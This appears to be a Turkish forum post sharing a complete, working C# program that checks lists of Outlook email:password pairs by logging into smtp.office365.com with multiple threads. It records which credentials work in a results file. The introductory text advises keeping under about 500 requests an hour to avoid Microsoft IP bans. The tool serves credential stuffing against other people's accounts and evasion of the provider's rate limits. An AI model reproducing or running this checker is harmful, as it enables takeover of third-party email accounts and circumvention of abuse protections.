
.NET 4.7.2
Multi Thread Bir Kaynaktır Lütfen Fazla Thread Başlatıp IP Adresinizin Outlooktan Ban Yemesine Sebep Olmayın

Sağlamlığını Kontrol Etmek İstediğiniz Mail Adreslerini C:/outlook/deneme.txt ye emailidentity:emailidentitypassword Olarak Yazın EMAİL Adresiyle EmailPasword'unun arasında ":" Olmalı.
Denemelerime Göre Saate 500 İsteği Geçmediğiniz Sürece Microsoft IP Adresinizi Banlamaz.
Sabit Bir IP Adresiniz Varsa Ve Rate Limit'e Takılırsanız Ortalama 72 Saat Boyunca Tekrar İstek Atamazsınız
using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Threading.Tasks;
using System.Threading;
class Program
{
static async Task Main()
{
string smtpServer = "smtp.office365.com";
int smtpPort = 587;
string emailAddressesFile = @"c:/outlook/deneme.txt";
string successfulEmailsFile = @"c:/outlook/basarili.txt";
string failedEmailsFile = @"c:/outlook/basarisiz.txt";
int numberOfThreads = 1;
int successNumber = 0;
int failureNumber = 0;
Console.Write("Kaç thread kullanmak istersiniz: ");
if (int.TryParse(Console.ReadLine(), out numberOfThreads) == false || numberOfThreads <= 0)
{
Console.WriteLine("Geçersiz sayı. Varsayılan olarak 1 thread kullanılacak.");
numberOfThreads = 1;
}
var emailAccounts = ReadEmailAccounts(emailAddressesFile);
if (emailAccounts.Count == 0)
{
Console.WriteLine("E-posta hesapları dosyası boş.");
Console.WriteLine("Çıkmak için bir tuşa basın.");
Console.ReadKey();
return;
}
var tasks = new Task[numberOfThreads];
int taskCounter = 0;
for (int i = 0; i < numberOfThreads; i++)
{
tasks[i] = Task.Run(async () =>
{
string taskid = (Interlocked.Increment(ref taskCounter)).ToString();
while (emailAccounts.Count > 0)
{
EmailAccount account;
lock (emailAccounts)
{
if (emailAccounts.Count == 0)
break;
account = emailAccounts[0];
emailAccounts.RemoveAt(0);
}
try
{
Console.WriteLine($"Thread {taskid} - Deneniyor: {account.Email}");
using (SmtpClient client = new SmtpClient(smtpServer, smtpPort))
{
client.UseDefaultCredentials = false;
client.Credentials = new NetworkCredential(account.Email, account.Password);
client.EnableSsl = true;
await client.SendMailAsync(new MailMessage(account.Email, account.Email, "denem123e Sub", "deneme Bod123y"));
successNumber++;
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine($"Thread {taskid} - E-posta check başarılı. Hesap açık: {account.Email} Başarılı İşlem Sayısı : " + successNumber.ToString());
Console.ResetColor();
lock (new object())
{
File.AppendAllText(successfulEmailsFile, $"{account.Email}:{account.Password}\n");
}
}
}
catch (Exception ex)
{
if (ex.Message.IndexOf("account locked") != -1)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"Thread {taskid} - Hata: account locked : {account.Email}");
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"Thread {taskid} - Hata: {ex.Message}");
}
Console.ResetColor();
lock (new object())
{
File.AppendAllText(failedEmailsFile, $"{account.Email}:{account.Password}\n");
}
failureNumber++;
}
}
});
}
await Task.WhenAll(tasks);
Console.WriteLine($"Toplam Başarılı İşlem Sayısı: {successNumber}");
Console.WriteLine($"Toplam Başarısız İşlem Sayısı: {failureNumber}");
Console.WriteLine("Çıkmak için bir tuşa basın.");
Console.ReadKey();
}
static List<EmailAccount> ReadEmailAccounts(string filePath)
{
List<EmailAccount> accounts = new List<EmailAccount>();
try
{
string[] lines = File.ReadAllLines(filePath);
foreach (string line in lines)
{
string[] parts = line.Split(':');
if (parts.Length == 2)
{
string email = parts[0];
string password = parts[1];
accounts.Add(new EmailAccount(email, password));
}
}
}
catch (Exception ex)
{
Console.WriteLine($"Dosya okuma hatası: {ex.Message}");
}
return accounts;
}
}
class EmailAccount
{
public string Email { get; set; }
public string Password { get; set; }
public EmailAccount(string email, string password)
{
Email = email;
Password = password;
}
} 8 kişi bunu beğendi.